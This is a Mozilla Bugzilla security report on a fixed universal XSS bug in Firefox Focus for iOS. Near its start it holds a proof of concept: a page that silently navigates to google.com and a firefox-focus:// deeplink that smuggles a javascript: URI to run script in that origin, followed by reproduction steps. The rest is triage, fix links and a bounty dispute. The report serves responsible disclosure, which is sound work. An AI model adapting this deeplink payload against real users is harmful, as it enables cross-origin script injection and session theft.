Closed Bug 1863831 (CVE-2024-1563) Opened 2 years ago Closed 2 years ago

Full UXSS via opening Firefox Focus externally after silent background navigation

Categories

(Focus :: Security: iOS, defect)

Firefox 122
defect

Tracking

(fxios122, firefox123 fixed)

RESOLVED FIXED
123 Branch
Tracking Status
fxios 122 ---
firefox123 --- fixed

People

(Reporter: proof131072, Unassigned)

References

Details

(Keywords: csectype-sop, reporter-external, sec-high, Whiteboard: [reporter-external] [client-bounty-form] [verif?])

Attachments

(5 files)

We are able to achieve Full UXSS by calling iOS Firefox Focus externally after silent background navigation.

PoC:

https://pwning.click/googleloc.php (Open in Firefox Focus and leave the browser, last thing user has seen is only
https://pwning.click/googleloc.php)

<script>setTimeout(function() {location="https://google.com"}, 3000);</script>

https://pwning.click/focuslink.php (Open with other browsers/apps like iOS Chrome)

<a href="firefox-focus://open-url?url=javascript:document.write(document.domain)">Open with Firefox Focus</a>

Flags: sec-bounty?

This is all possible (Full UXSS) because iOS Firefox Focus allows silent background navigation while user left the browser.

Group: firefox-core-security → mobile-core-security
Component: Security → General
Product: Firefox → Firefox for iOS
Component: General → Security: iOS
Product: Firefox for iOS → Focus

This is similar to Firefox iOS bug https://bugzilla.mozilla.org/show_bug.cgi?id=1850158

See Also: → CVE-2024-26283

Is that running javascript URI with firefox URI? that doesn't become UXSS on Firefox but it does become Full UXSS on Focus, which is very serious issue.

Please check this Apple default mail app case too: https://pwning.click/RPReplay_Final1705153539.mp4

Flags: needinfo?(nish.bhasin)

Here's a summary from the above comment and links. Could you confirm this is accurate :james?

Steps to reproduce

  1. Navigate to https://pwning.click/googleloc.php
  2. Leave Focus application (by moving it to background)
  3. Open Safari
  4. Navigate to https://pwning.click/focuslink.php in Safari
  5. Click on the link "Open with Firefox Focus"

Actual behavior

Focus is opened and JavaScript is running

Expected behavior

Focus is opened and JavaScript should not be running

Flags: needinfo?(nish.bhasin)
See Also: → 1876851

Yeah that's correct, this had same steps to the one Nish told Andrei https://bugzilla.mozilla.org/show_bug.cgi?id=1860075#c14

Thanks for confirming!

We can now close this report so the new one Andrew added for See Also which is https://bugzilla.mozilla.org/show_bug.cgi?id=1876851 can also be tracked correctly in the future. Thanks!

Ok I'll marked it as duplicate of 1876851 so we keep only one bug open for those STR listed here.

Status: NEW → RESOLVED
Closed: 2 years ago
Duplicate of bug: 1876851
Resolution: --- → DUPLICATE

Thanks, but I believe this should be marked as resolved not duplicate due to https://github.com/mozilla-mobile/focus-ios/commit/0ecc6ed809a65c408c2216b9fe45abf9185f96eb for v122.

Ok I can make that change

No longer duplicate of bug: 1876851
Resolution: DUPLICATE → FIXED
Group: mobile-core-security → core-security-release
Alias: CVE-2024-1563
Attached file googleloc.php.html
Attached file focuslink.php.html

Hey, sorry for the hassle, but could you update the tracking flags to indicate which version it was fixed it? It helps us with bookkeeping. Thank you!

Flags: needinfo?(lmarceau)
Attached file advisory.txt
Flags: needinfo?(lmarceau)

Putting the needinfo back: looks like it was inadvertently removed when the advisory attachment was added. I suppose the advisory implies this was fixed in v123? It would still be nice to update the status flags to say that explicitly

Flags: needinfo?(lmarceau)
Flags: needinfo?(lmarceau)
Version: unspecified → Firefox 123

Yes it was for v123! Hopefully I marked the right fields in the ticket here

This is supposed to be fixed on v122 https://github.com/mozilla-mobile/focus-ios/pull/3973

Ah sorry James you're right! Let me adjust this.

Version: Firefox 123 → Firefox 122

No worries, thanks!

status-firefox123: fixed is true, even if it's not the first version that was fixed. unfortunately we can't set the older fields as they get made read-only in bugzilla to reduce clutter.

This one is less universal than the previous one (involves user interaction with the other app) but still a valid UXSS

Flags: sec-bounty? → sec-bounty+
See Also: → CVE-2024-10474
Target Milestone: --- → 123 Branch
Group: core-security-release
Duplicate of this bug: 1876851

There is no separate fix here -- this should have been marked a duplicate of bug 1860075

This was fixed in https://github.com/mozilla-mobile/focus-ios/pull/3973 and it's not a duplicate of bug 1860075 which is the fix of 302 redirect UXSS.

This is firefox-focus:// deeplink UXSS which is a slightly limited impact compared to bug 1860075, while bug 1860075 is Server Side Redirect to javascript: URI UXSS with no deeplink, they're completely different bug.

Assignee lmarceau (https://bugzilla.mozilla.org/user_profile?user_id=694570) forgot to move https://github.com/mozilla-mobile/focus-ios/pull/3973 from the wrong report bug 1860075 to the correct report which is this report bug 1863831 .

Fixed in Focus 122: bug 1863831 == https://github.com/mozilla-mobile/focus-ios/pull/3973

Fixed in Focus 123: bug 1860075 == https://github.com/mozilla-mobile/focus-ios/pull/3989

Flags: needinfo?(dveditz)

Therefore a bounty flag for bug 1863832 should've not been cancelled.

The claim of engineer would've known and fixed bug 1863832 anyways, therefore it's ineligible for bounty award is not a valid reason since that only applies to main report https://bugzilla.mozilla.org/show_bug.cgi?id=1863832#c0 which has no fix.

3 Spoofing Vulnerabilities report starts from https://bugzilla.mozilla.org/show_bug.cgi?id=1863832#c8 after engineer Razvan asked me wha
t's an issue since UXSS part doesn't work anymore after the fix in this report.

The report would've been closed without me further commenting freshly discovered spoofing bug in https://bugzilla.mozilla.org/show_bug.cgi?id=1863832#c8 and onwards.

You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: